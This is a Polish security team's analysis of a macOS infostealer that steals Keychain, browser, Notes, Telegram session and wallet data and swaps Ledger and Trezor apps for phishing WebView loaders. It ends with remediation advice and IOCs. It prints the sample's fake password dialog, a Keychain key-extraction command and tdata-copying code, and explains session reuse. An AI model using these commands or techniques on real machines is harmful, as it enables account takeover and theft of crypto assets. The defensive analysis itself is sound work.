Jak trojan na macOS przełamał obronę, kradnąc konto TG i zamieniając portfel?

Trojan na macOS kradnie sesje TG i dane portfela, a także wymienia klienta portfela sprzętowego, aby przeprowadzić podwójny atak na aktywa.

Autor: Zespół bezpieczeństwa Slow Mist

Tło

Ostatnio system monitorowania bezpieczeństwa MistEye wykrył trojana szpiegującego działającego na macOS. Zespół Slow Mist natychmiast rozpoczął analizę.

Z analizy listy kradzieży wynika, że próbka wydaje się przeprowadzać zbieranie danych bez konkretnego celu: macOS Keychain, ciasteczka Safari, Apple Notes, lokalne dane Telegram Desktop oraz bazy danych dziesiątek portfeli cyfrowych zostały uwzględnione w zakresie celów.

W poprzednim artykule „Analiza phishingu w społeczności Google Sites i trojana szpiegującego na macOS” odpowiedzieliśmy na pytanie „Co ukradł trojan?”. Jednak skopiowanie plików nie oznacza, że konto zostało przejęte, a wykradzenie bazy danych portfela nie oznacza, że fraza odzyskiwania została ujawniona. Dlatego w tym artykule zadajemy kolejne pytanie:

Czy te skradzione pliki naprawdę mogą zostać przekształcone w kontrolę nad kontem i aktywami?

W izolowanym środowisku podjęliśmy próbę odtworzenia ścieżek pozostawionych przez próbkę. Najpierw przywróciliśmy skopiowane pliki sesji Telegram Desktop na zgodnym z wersją Macu, a następnie uruchomiliśmy klienta.

Nie pojawił się ekran logowania.

Nie poproszono o podanie numeru telefonu, nie wysłano kodu weryfikacyjnego, ani nie poproszono o podanie hasła do weryfikacji dwuetapowej Telegramu. Klient bezpośrednio przywrócił pierwotny stan konta i rozpoczął synchronizację historii czatów.

Ten krok po raz pierwszy przekształcił łańcuch ataku z „statycznych plików” w obserwowalne wyniki: to, co napastnik zabrał, nie było zwykłą konfiguracją, lecz już uwierzytelnionym lokalnym dostępem.

Następnie zweryfikowaliśmy inną ścieżkę: baza danych portfela i potencjalne hasła mogą być połączone w środowisku offline; próbka jednocześnie usuwa oryginalnie zainstalowanego klienta portfela, zastępując go zdalną aplikacją internetową z prawdziwą nazwą i ikoną.

Te pozornie rozproszone funkcje ostatecznie tworzą kompletny łańcuch przejęcia:

1. Najpierw zbiera hasła, materiały odblokowujące i aktywne sesje logowania;
2. Przenosi lokalne sesje Telegram Desktop, które zostały już autoryzowane;
3. Kopiuje bazę danych portfela i stan rozszerzenia portfela przeglądarki;
4. Próbuje offline odszyfrować w swoim własnym środowisku;
5. Jednocześnie usuwa oryginalny portfel, zastępując go zdalną aplikacją WebView, aby skłonić użytkownika do dobrowolnego podania frazy odzyskiwania.

Artykuł oparty jest na raporcie analizy statycznej głównej próbki, trzech raportach analizy statycznej pakietów zamienników portfela, logice równoważnej odtworzonej przez analityków na podstawie dekompilacji oraz materiałach pomocniczych do weryfikacji dowodów offline w LevelDB.

Krok 1: Zbieranie haseł i materiałów odblokowujących

Sesje Telegramu mogą być bezpośrednio przywracane nie dlatego, że napastnik złamał hasło Telegramu. Baza danych portfela może być próbowana do odszyfrowania, nie dlatego, że oprogramowanie portfela nie jest szyfrowane.

Pierwszym krokiem napastnika jest zebranie jak największej liczby haseł, materiałów odblokowujących i nadal aktywnych sesji logowania. Keychain, bazy danych przeglądarki, Apple Notes i podszywające się okna dialogowe z hasłami są częścią tego kroku.

Okno dialogowe phishingowe:

Próbka wyświetli okno dialogowe z hasłem podszywające się pod aktualizację Google API connector:

set passwen to display dialog "GAPI_Update wymaga dostępu administratora, aby zaktualizować Google API connector. Wprowadź swoje hasło, aby to umożliwić." default answer "" with icon caution buttons {"Kontynuuj"} default button "Kontynuuj" giving up after 150 with title "Prośba o hasło" with hidden answer text returned of passwen

Nie kończy się to na tym, że próbka po prostu zbiera zawartość pola wejściowego. Następnie próbka używa polecenia dscl w macOS, aby zweryfikować, czy to hasło rzeczywiście może przejść autoryzację na tym komputerze:

dscl . authonly '<nazwa użytkownika>' '<kandydackie hasło>'

Oznacza to, że próbka stara się potwierdzić, że użytkownik wprowadza hasło logowania do systemu, a nie losowy ciąg znaków. Po pomyślnej weryfikacji to hasło może być użyte do dalszego podnoszenia uprawnień, usuwania aplikacji itp.

Zbieranie danych przeglądarki i poświadczeń Keychain:

W międzyczasie próbka stara się odczytać klucz Chrome Safe Storage z Keychain:

security find-generic-password -ga "Chrome"2> 1 /dev/null | sed -n 's/^password: "(.*)"/\1/p'

Wynik zapisywany jest w pliku tymczasowym masterpass-chrome. Chrome Safe Storage można rozumieć jako klucz deszyfrujący przechowywany w Keychain macOS przez przeglądarkę. Posiadając go, napastnik może zabrać zaszyfrowane dane logowania i ciasteczka Chrome, aby dalej je analizować w swoim środowisku.

Zakres zbierania danych przez próbkę obejmuje przeglądarki oparte na silniku Chromium, takie jak Chrome, Brave, Edge, Vivaldi, Opera, a docelowe pliki to Login Data, Cookies, Web Data, formhistory.sqlite itp.; w przypadku przeglądarek takich jak Firefox, uwaga będzie skupiona na logins.json, key4.db i danych ciasteczek.

Próbka zlokalizuje i zbierze:

Keychains/login.keychain-db

Group Containers/group.com.apple.notes/NoteStore.sqlite

To, czy w Notes rzeczywiście zapisano hasła, frazy odzyskiwania portfela, kod dostępu Telegramu czy kody odzyskiwania, zależy od zapisów użytkownika. Jednak na poziomie kodu istnieje już zdolność do odczytu konta i treści.

Dlatego materiały uzyskane przez napastnika na tym etapie nie są pojedynczym hasłem, lecz zestawem materiałów, które mogą się uzupełniać:

• Bezpośrednie hasło wprowadzone: hasło logowania do macOS uzyskane z podszywającego się okna dialogowego;
• Materiały odblokowujące: Keychain, Chrome Safe Storage i zaszyfrowane bazy danych przeglądarki;
• Poświadczenia równoważne: ciasteczka, zawartość Notes oraz późniejsze dane sesji i portfela.

Te materiały, patrząc na nie pojedynczo, mogą nie być wystarczające do przejęcia konta lub portfela, ale przygotowują klucze do późniejszych „przeprowadzek sesji” i „odszyfrowania offline”.

Krok 2: Przeniesienie sesji Telegram

Lokalizacja katalogu sesji tdata:

Próbka nie celuje w wersję internetową Telegramu ani w aplikację mobilną, lecz w klienta Telegram Desktop. Zlokalizuje:

~/Library/Application Support/Telegram Desktop/tdata/

Tutaj tdata można w prosty sposób zrozumieć jako zestaw danych sesji przechowywanych lokalnie przez Telegram Desktop w celu utrzymania stanu logowania.

Próbka skopiuje pliki związane z kluczami, konfiguracją i stanem sesji, w tym:

• key_datas: związane z lokalnym kluczem lub konfiguracją tdata;
• <name>s: związane z lokalnym stanem sesji;
• <name>/maps: część mapowania danych sesji.

Na podstawie odtworzonej logiki równoważnej próbka najpierw kopiuje key_datas, a następnie przeszukuje katalog w poszukiwaniu parowanych plików sesji, zapisując odpowiednie dane w katalogu tymczasowym:

std::string src = app_support + "Telegram Desktop/tdata/";std::string dst = staging + "tg/";

copy_file(src + "key_datas", dst + "key_datas");

std::vector<std::string> names = list_directory_names(src);for (conststd::string& name : names) {if (contains(names, name + "s")) { copy_file(src + name + "s", dst + name + "s"); copy_file(src + name + "/maps", dst + name + "/maps"); }}

To nie jest „wyszukiwanie kilku nazw plików Telegramu”, lecz wyraźny łańcuch kopiowania plików sesji. Po zakończeniu kopiowania główny proces kompresuje katalog tymczasowy i przesyła go.

Przywracanie sesji, omijając logowanie:

Aby zweryfikować rzeczywiste ryzyko po wykradzeniu tych plików, przygotowaliśmy w izolowanym środowisku zgodny z wersją Telegram Desktop (macOS 12.7 / Telegram Desktop 4.16) i przywróciliśmy kluczowe pliki skradzione przez próbkę do odpowiednich lokalizacji.

Testowanie konta testowego, które nie jest powiązane z rzeczywistymi aktywami, z włączonym 2FA (uwierzytelnianie dwuskładnikowe) w Telegramie, ale bez włączonego hasła na Telegram Desktop.

Po przywróceniu pliku i uruchomieniu klienta, proces logowania nie wymagał:

• Wprowadzania numeru telefonu;
• Wprowadzania kodu SMS;
• Wprowadzania hasła do weryfikacji dwuskładnikowej Telegrama.

Klient bezpośrednio przywrócił stan logowania oryginalnego konta, a następnie rozpoczął synchronizację historii czatów.

Oznacza to, że atakujący nie potrzebuje nowego autoryzowania konta, ale ważnej lokalnej sesji.

Nie kradnie hasła do logowania, ale już zweryfikowanego „przepustki”.

Reużywanie sesji vs łamanie 2FA:

Należy rozróżnić „obejście 2FA” i „reuzowanie istniejącej sesji”.

Dwuskładnikowe uwierzytelnianie Telegrama głównie chroni nowe procesy autoryzacji kont. Gdy atakujący bezpośrednio przywraca już autoryzowane materiały lokalnej sesji, klient nie wykonuje ponownie pełnego procesu uwierzytelniania z numerem telefonu, kodem weryfikacyjnym i hasłem do weryfikacji dwuskładnikowej.

Dlatego dokładniejsze stwierdzenie brzmi: atakujący reużył już autoryzowaną lokalną sesję, więc nie wywołał ponownie 2FA. To nie oznacza, że hasło 2FA Telegrama zostało złamane, ale cały proces reużywania w ogóle nie wszedł w etap, który wymagałby weryfikacji tego hasła.

Użytkownik niekoniecznie od razu zauważy nieprawidłowości:

W warunkach tego testu, skopiowana sesja nie była stabilnie przedstawiana jako wyraźny, niezależny nowy rekord autoryzacji urządzenia na liście urządzeń. Oznacza to, że nawet jeśli użytkownik aktywnie sprawdzi zalogowane urządzenia, niekoniecznie od razu zda sobie sprawę, że dane lokalnej sesji zostały skopiowane.

Gdy oryginalne urządzenie i urządzenie reprodukujące są używane równocześnie przez dłuższy czas, serwer może unieważnić sesję jednego z nich i zażądać ponownego logowania. Jednak w przypadku krótkich, przerywanych testów dostępu, sesja nie została natychmiastowo zakończona.

Nadzór serwera może skrócić czas życia części skradzionych sesji, ale nie zastąpi ochrony danych lokalnych tdata.

Jeśli Telegram Desktop ma włączone hasło, po przywróceniu sesji atakujący może być nadal zobowiązany do wprowadzenia tego hasła. To rzeczywiście może dodać dodatkową warstwę ochrony, ale ten trojan jednocześnie zbiera dane z Keychain, Apple Notes i przeglądarek. Jeśli użytkownik wcześniej zapisał hasło Telegrama w tych miejscach lub używał tego samego hasła w różnych aplikacjach, ta ochrona może zostać przełamana.

tdata można dalej przekształcić w sesję API:

Oprócz powyższych metod, odkryliśmy, że po uzyskaniu tdata Telegrama, można połączyć opentele, Telethon, autoryzowany AuthKey i parametry API oficjalnego klienta, aby przekształcić lokalny stan logowania w programowalną sesję API Telegrama, używaną do odczytu rozmów, historii wiadomości i wysyłania wiadomości. Testy wykazały, że skrypt może nawiązywać krótkie, przerywane połączenia, nie musząc być stale online, co zmniejsza ryzyko natychmiastowego wywołania nieprawidłowego wylogowania. Ponieważ reużywana jest oryginalna autoryzacja, nie pojawią się nowe logowania urządzeń, a na liście zalogowanych urządzeń nie będzie wyraźnych, niezależnych nowych rekordów, co utrudnia użytkownikowi wykrycie nieprawidłowości tylko poprzez sprawdzenie zalogowanych urządzeń.

Telegram dla macOS również ma ryzyko reużywania sesji:

Powyższa analiza dotyczy Telegrama Desktop (wieloplatformowego klienta desktopowego opartego na Qt). Jednak Telegram oferuje również inną natywną wersję klienta na macOS - Telegram dla macOS (pobraną niezależnie z App Store lub strony internetowej w wersji natywnej Swift). Testy tej wersji wykazały, że jej lokalne pliki sesji również mogą być kopiowane i bezpośrednio przywracane na innym Macu: bez potrzeby numeru telefonu, kodu weryfikacyjnego lub hasła do weryfikacji dwuskładnikowej można uzyskać dostęp do konta, a na liście zalogowanych urządzeń nie pojawią się nowe rekordy reprezentujące urządzenie reprodukujące.

Ponadto, Telegram dla macOS ma istotną różnicę w odpowiedzi mechanizmu bezpieczeństwa w porównaniu do Telegrama Desktop: gdy serwer wykryje nieprawidłowe zachowanie logowania, Telegram dla macOS nie wymusza wylogowania i usunięcia danych lokalnych, jak to ma miejsce w wersji Desktop. W naszych testach, klient oznaczony przez mechanizm bezpieczeństwa, mimo że nie mógł wysyłać ani odbierać nowych wiadomości, nadal mógł utrzymać otwarty interfejs, co pozwala atakującemu na dalsze przeglądanie i przeszukiwanie już istniejącej historii czatów. Oznacza to, że nawet jeśli serwer zareagował, wcześniej zbuforowane wiadomości historyczne mogą być w pełni przeglądane, a nie są przerywane przez wymuszone wylogowanie.

To oznacza, że w tym scenariuszu ataku, natywna wersja klienta macOS nie tylko nie może być wykryta przez użytkownika poprzez „nowe logowanie urządzenia”, ale także po wykryciu nieprawidłowości przez serwer, historia czatów pozostaje narażona - atakujący, mimo że stracił zdolność do wysyłania i odbierania wiadomości w czasie rzeczywistym, może nadal w pełni przeglądać wcześniej zbuforowane treści historyczne.

Na tym etapie ścieżka Telegrama jest już jasna: zarówno Telegram Desktop, jak i Telegram dla macOS, atakujący nie musi ponownie logować się do konta, wystarczy przenieść już autoryzowaną lokalną sesję z Maca ofiary do własnego środowiska.

Krok 3: Kradzież danych portfela

Sesje Telegrama mogą być bezpośrednio reużywane, podczas gdy baza danych portfela zazwyczaj jest dodatkowo zabezpieczona warstwą szyfrowania. Przykład próbki polega na jak najdokładniejszym skopiowaniu danych portfela, aby pozostawić miejsce na późniejszą analizę.

Pełne pokrycie 16 portfeli:

Próbka będzie wyszukiwać 16 lokalnych portfeli lub klientów zarządzających portfelami, obejmujących portfele programowe, klientów pełnodotykowych typu Core oraz oprogramowanie do zarządzania portfelami sprzętowymi:

• Portfele programowe: Electrum, Coinomi, Exodus, Atomic, Wasabi, Monero, Electrum LTC, Electron Cash, Guarda, Sparrow;
• Klienci typu Core: Bitcoin Core, Litecoin Core, Dash Core, Dogecoin Core;
• Klienci do portfeli sprzętowych: Ledger Live, Trezor Suite.

Różne katalogi danych portfeli, formaty baz danych i metody szyfrowania różnią się, ale podstawowa strategia zastosowana przez próbkę jest zgodna: zlokalizować katalog, skopiować bazę danych portfela i pliki konfiguracyjne, spakować i przesłać, a następnie kontynuować analizę w środowisku atakującego.

Podczas kopiowania próbka pominie katalogi pamięci podręcznej, Code Cache, Crashpad, dzienniki, media, połączenia itp., priorytetowo traktując dane o stanie konta i portfela.

To prowadzi do łatwego do niedocenienia skutku: nawet jeśli dane portfela są w stanie zaszyfrowanym, wystarczy, że pełna baza danych została przesłana, atakujący może oddzielić się od urządzenia ofiary i wielokrotnie próbować odszyfrować. Zamknięcie portfela przez ofiarę, odłączenie od sieci, a nawet usunięcie trojana nie pozwoli na odzyskanie już skopiowanych danych.

Zbieranie danych z rozszerzeń przeglądarki:

Poza portfelami desktopowymi, próbka będzie również skanować katalogi konfiguracyjne przeglądarek opartych na Chromium, takich jak Chrome, Brave, Edge, Vivaldi, Opera i innych.

Będzie zbierać dane z katalogów Default lub Profile każdej przeglądarki, w tym pliki cookie, dane logowania, dane formularzy internetowych oraz lokalne dane przechowywane przez rozszerzenia i IndexedDB. Próbka zawiera 223 identyfikatorów rozszerzeń związanych z portfelami, aby filtrować i kopiować lokalne przechowywanie rozszerzeń portfeli kryptograficznych.

Te dane nie są równoznaczne z jawnymi frazami odzyskiwania, ale mogą zawierać Vault portfela, konfiguracje kont, statusy autoryzacji i materiały logowania przeglądarki, które mogą być używane do analizy offline, migracji stanu i późniejszych ukierunkowanych phishingów.

Na tym etapie atakujący ma już dwie kluczowe kategorie materiałów: z jednej strony zaszyfrowaną bazę danych portfela, z drugiej strony hasła kandydujące z systemu, przeglądarek i Notes. Następny krok to sprawdzenie, czy te dwie kategorie materiałów można połączyć.

Krok 4: Offline odszyfrowanie portfela

Na przykładzie Atomic Wallet:

Wybieramy Atomic Wallet do lokalnej reprodukcji. Próbka skopiuje lokalny katalog przechowywania LevelDB Atomic Wallet. LevelDB to popularny format lokalnej bazy danych, w którym portfel przechowuje stan konta i dane wrażliwe.

Dane w tym katalogu są szyfrowane przy użyciu AES-256-CBC, a odszyfrowanie wymaga hasła portfela.

Dlatego samo posiadanie pliku LevelDB nie oznacza, że atakujący zdobył jawne frazy mnemoniczne. Hasło portfela wciąż stanowi barierę między bazą danych a wrażliwymi danymi.

Jednak tę barierę należy obserwować w kontekście całego łańcucha ataku.

Próby haseł z wielu źródeł:

W izolowanym środowisku testowym (Atomic Wallet 2.70) przywróciliśmy dane z kopiowanego pliku LevelDB i użyliśmy haseł zebranych z Keychain, menedżera haseł przeglądarki, Apple Notes i innych miejsc do odszyfrowania.

Ostatecznie, kandydackie hasła skutecznie odszyfrowały dane zawierające materiały kontrolujące aktywa.

Ten krok ujawnia najniebezpieczniejszy aspekt próbki: atakujący nie musi koniecznie szukać luk w szyfrowaniu samego oprogramowania portfela, ani nie musi na bieżąco próbować haseł na komputerze ofiary.

Wystarczy, że zabierze dwie rzeczy: zaszyfrowaną bazę danych portfela oraz zestaw haseł, które mogą należeć do użytkownika. Baza danych jest jak skarbiec, który został przeniesiony, a kandydackie hasła to złożony zestaw zapasowych kluczy. Atakujący może w nieograniczonym czasie offline weryfikować je jedno po drugim.

Przekazanie klucza prywatnego jest nieodwracalne:

Gdy klucz prywatny, fraza mnemoniczna lub równoważne materiały kontrolujące aktywa zostaną przywrócone, ryzyko nie ogranicza się już do konkretnego klienta portfela. Atakujący może przywrócić tę samą grupę adresów w innym kompatybilnym portfelu i uzyskać kontrolę nad odpowiednimi aktywami.

W tym momencie zmiana hasła aplikacji, ponowna instalacja klienta, a nawet usunięcie lokalnych plików portfela nie sprawi, że już przekazany klucz prywatny lub fraza mnemoniczna stracą ważność.

Na tym etapie ścieżka offline odszyfrowania danych portfela jest jasna. Jednak próbka nie zatrzymała się na tym - dla kilku celów o wysokiej wartości wdrożyła równoległą ścieżkę ataku.

Krok 5: Zastąpienie aplikacji portfela

Pobranie złośliwego ZIP do zastąpienia aplikacji:

W głównym próbce odkryliśmy zestaw operacji, które wyraźnie różnią się od zwykłego kradzieży plików: złośliwe oprogramowanie pobiera trzy pakiety ZIP zdalnie do katalogu /tmp, jednocześnie usuwając oryginalnie zainstalowane Ledger Live, Ledger Wallet i Trezor Suite.

Funkcja swap_app() w głównym próbce wykonuje pełny proces zastępowania: pobiera archiwum za pomocą curl, kończy działające procesy portfela za pomocą pkill, a następnie usuwa oryginalną aplikację za pomocą rm -rf, w razie potrzeby podnosząc uprawnienia przez sudo, a na koniec używa ditto do rozpakowania archiwum do /Applications.

Pakiet zastępujący to tylko ładowarka stron internetowych:

Z nazwy pliku i ikony wynika, że te pakiety ZIP wydają się odpowiadać trzem oryginalnym klientom portfela. Jednak analiza odwrotna pokazuje, że nie realizują one prawdziwej funkcji portfela.

Trzy programy zastępujące mają bardzo podobny proces wykonania: odczytują ukryte konfiguracje, odszyfrowują zdalne trasy za pomocą XOR, składają pełny URL, tworzą WKWebView z włączonym JavaScript, a następnie ładują zdalną stronę kontrolowaną przez atakującego.

WKWebView można zrozumieć jako okno przeglądarki osadzone w aplikacji desktopowej. Pozwala ono zdalnej stronie internetowej na pokrycie interfejsu aplikacji, nie musząc pojawiać się w formie zakładki przeglądarki.

Analiza statyczna potwierdza, że pakiet zastępujący włączył JavaScript i trwałe przechowywanie danych, ale nie znaleziono rzeczywistej implementacji biznesowej Ledger lub Trezor: brak komunikacji USB/HID, brak enumeracji urządzeń sprzętowych, brak pochodnych kluczy BIP39/BIP32, ani konstrukcji transakcji czy lokalnego podpisywania.

Innymi słowy, te programy nie są zmodyfikowanymi klientami portfela, lecz ładowarkami stron internetowych z nazwą i ikoną portfela.

Ostateczne zdalne adresy załadowane przez trzy aplikacje zastępujące to:

Ledger Live i Ledger Wallet wskazują na ten sam zdalny adres /ledger, podczas gdy Trezor Suite ładuje trasę /trezor. Zdalna strona oznacza, że atakujący nie musi ponownie publikować lokalnej aplikacji, aby w dowolnym momencie zmieniać treść strony, tekst interakcji i logikę przesyłania danych.

Phishingowa strona za ikoną pulpitu:

Gdy użytkownik uruchamia te zastąpione aplikacje „portfela”, zdalna strona może udawać proces przywracania, weryfikacji lub inicjalizacji portfela, prowadząc użytkownika do wprowadzenia frazy mnemonicznej, PIN-u, hasła lub innych materiałów do przywracania.

Dla zwykłego użytkownika jest to trudniejsze do rozpoznania niż tradycyjne strony phishingowe. Strona nie pojawia się w zakładkach przeglądarki, lecz w aplikacji zainstalowanej w katalogu /Applications, z dobrze znaną nazwą i ikoną.

Użytkownik może myśleć, że to proces weryfikacji po aktualizacji portfela, lub że postępuje zgodnie z oficjalnymi wskazówkami przywracania konta.

Jeśli użytkownik wprowadzi frazę mnemoniczną na tej zdalnej stronie, atakujący uzyska nie tylko tymczasowy dostęp do konkretnej aplikacji, ale także najwyższe uprawnienia kontrolne do aktywów portfela.

Odszyfrowanie offline polega na poszukiwaniu frazy mnemonicznej w już istniejących danych; zastąpienie aplikacji polega na skłonieniu użytkownika do ręcznego wprowadzenia frazy mnemonicznej. Obie ścieżki działają równolegle, nie zależą od siebie.

Panorama łańcucha ataków

Patrząc wstecz na początkową listę skradzionych danych, Keychain, Cookie, Notes, Telegram i pliki portfela wydają się być niezależnymi celami. Po odtworzeniu ich relacje stają się jasne:

• Keychain, przeglądarka i Notes dostarczają hasła, kod dostępu i inne materiały odblokowujące;
• Cookie Safari mogą dostarczyć nadal ważną sesję logowania w sieci;
• tdata Telegramu dostarcza już autoryzowane sesje konta;
• baza danych portfela dostarcza zaszyfrowane dane, które można zabrać, skopiować i analizować offline;
• zastąpione aplikacje Ledger i Trezor prowadzą użytkowników do zdalnych stron phishingowych z innej niezależnej ścieżki.

Każdy moduł z osobna wygląda jak typowe zachowanie kradzieży. Prawdziwe niebezpieczeństwo polega na tym, że próbka może połączyć te materiały.

Dla Telegramu atakujący nie omijał siły hasła, lecz samą autoryzację. Dla lokalnego portfela atakujący wykorzystał jednoczesne kradzieże danych szyfrowych i materiałów hasłowych. Dla Ledger i Trezor atakujący nawet nie próbuje łamać istniejących danych, lecz poprzez zastąpienie klienta redefiniuje „wiarygodny interfejs” w oczach użytkownika.

To, czego naprawdę potrzebuje atakujący, często nie jest pojedynczym hasłem, lecz jednoczesnym dostępem do autoryzowanej sesji, danych szyfrowych i materiałów odblokowujących.

Podsumowanie

To złośliwe oprogramowanie nie kradnie kilku izolowanych haseł lub plików, lecz całą lokalną sieć zaufania, którą użytkownik stopniowo budował na jednym Macu: już zalogowane sesje, zapisane hasła, zaszyfrowany portfel oraz zaufanie do samej aplikacji desktopowej.

Gdy te rzeczy jednocześnie opuszczają urządzenie, od wycieku informacji do przejęcia konta, a następnie do kradzieży aktywów cyfrowych, brakuje tylko jednego udanego połączenia danych.

Podwójna ścieżka ataku na portfel. Próbka przygotowała dwie zapasowe ścieżki dla aktywów portfela: pierwsza to kradzież bazy danych portfela i kandydackich haseł w celu odszyfrowania offline; druga to zastąpienie klienta portfela sprzętowego, załadowanie zdalnej strony i skłonienie użytkownika do aktywnego podania frazy mnemonicznej. Obie ścieżki działają równolegle, pokrywając „pasywne kradzieże” i „aktywne skłonienie”.

Ponowne wykorzystanie sesji, a nie łamanie haseł. Atakujący bezpośrednio kopiuje już autoryzowane lokalne pliki sesji, przywracając stan logowania w nowym środowisku, nie wywołując procesu ponownej autoryzacji.

Wykorzystanie kombinacji wielu źródeł uwierzytelniających. Próbka nie polega na pojedynczym źródle hasła, lecz zbiera kandydackie hasła z Keychain, menedżera haseł przeglądarki, Apple Notes i podszywających się okien dialogowych, zwiększając szanse na offline odszyfrowanie bazy danych portfela.

Zalecenia

1. Po wykryciu, że host może być zainfekowany, należy natychmiast zakończyć wszystkie istniejące sesje Telegram na zaufanym urządzeniu, ponownie ustanowić zaufany stan logowania oraz zmienić hasło weryfikacji dwuetapowej Telegramu i kod dostępu. Samo zmienienie hasła 2FA może nie natychmiast unieważnić już skopiowanej lokalnej sesji.

2. Gdy baza danych portfela lub materiały klucza prywatnego mogą być narażone, należy na czystym urządzeniu lub zaufanym portfelu sprzętowym wygenerować nową frazę mnemoniczną, jak najszybciej przenieść aktywa na nowy adres i zaprzestać używania starej frazy mnemonicznej. Samo zmienienie hasła aplikacji portfela nie unieważni już ujawnionych kluczy prywatnych lub fraz mnemonicznych.

3. Należy wymienić wszystkie hasła zapisane lub używane w Keychain, Apple Notes i przeglądarkach, zwracając szczególną uwagę na e-maile, giełdy, chmury, menedżery haseł i konta społecznościowe oraz wylogować się z istniejących sesji logowania w tych usługach.

4. W przypadku podejrzanych aplikacji Ledger lub Trezor, które mogły zostać usunięte i zastąpione, należy najpierw usunąć podejrzane aplikacje, sprawdzić podpisy kodu i źródło instalacji, zidentyfikować powiązane elementy trwałe (np. LaunchDaemon), a następnie ponownie uzyskać pakiety instalacyjne z zaufanych źródeł. Jeśli wprowadzono frazę mnemoniczną w zastąpionej aplikacji, należy natychmiast traktować to jako ujawnienie frazy mnemonicznej.

5. W przypadku rzadko używanych klientów Telegram (takich jak Desktop lub natywny klient macOS zainstalowany tylko na określonym urządzeniu, ale długo nieużywany), należy regularnie sprawdzać ich status logowania lub aktywnie zakończyć niepotrzebne sesje. Ponieważ takie klientów używa się rzadko, nawet jeśli sesja zostanie skradziona i przywrócona w środowisku atakującego, użytkownik może mieć trudności z zauważeniem nieprawidłowości na czas ------ bezpieczeństwo serwera zazwyczaj polega na wykrywaniu zmian w wzorcach zachowań aktywnych sesji, a w przypadku klientów, które przez długi czas pozostają w stanie uśpienia, nietypowe logowanie jest trudniejsze do automatycznego rozpoznania. Po skradzeniu, atakujący może przez długi czas utrzymywać cichą kontrolę nad tym kontem, nieprzerwanie odczytując nowe wiadomości, nie wywołując żadnych alarmów.

6. W codziennym użytkowaniu należy włączyć kod dostępu dla Telegrama i ustawić silne hasło, które różni się od innych haseł, unikając używania słabych haseł, aby wzmocnić ochronę lokalnej sesji.

IOC

IP

192[.]253[.]248[.]181

86[.]54[.]25[.]213

URL

http[://192[.]253[.]248[.]181/web/ledger.zip

http[://192[.]253[.]248[.]181/web/ledgerwallet.zip

http[://192[.]253[.]248[.]181/web/trezor.zip

http[://86[.]54[.]25[.]213/ledger?username=night

http[://86[.]54[.]25[.]213/trezor?username=night

http[://86[.]54[.]25[.]213/log

Złośliwe pliki

nazwa pliku: ledger.zip

SHA256: 41d77fef030b8515efb068defed5e15c14fbebd16259253f1f79febd6e12ebcb

nazwa pliku: ledgerwallet.zip

SHA256: 36f4ae11560ed34f32c927468a09a5370a5fbdcae41660f6e8d9a49330c8d059

nazwa pliku: trezor.zip

SHA256: 60f33e7b8c6b84839e28c710c8c5a99a718c0b88135653561be8d45f976b794f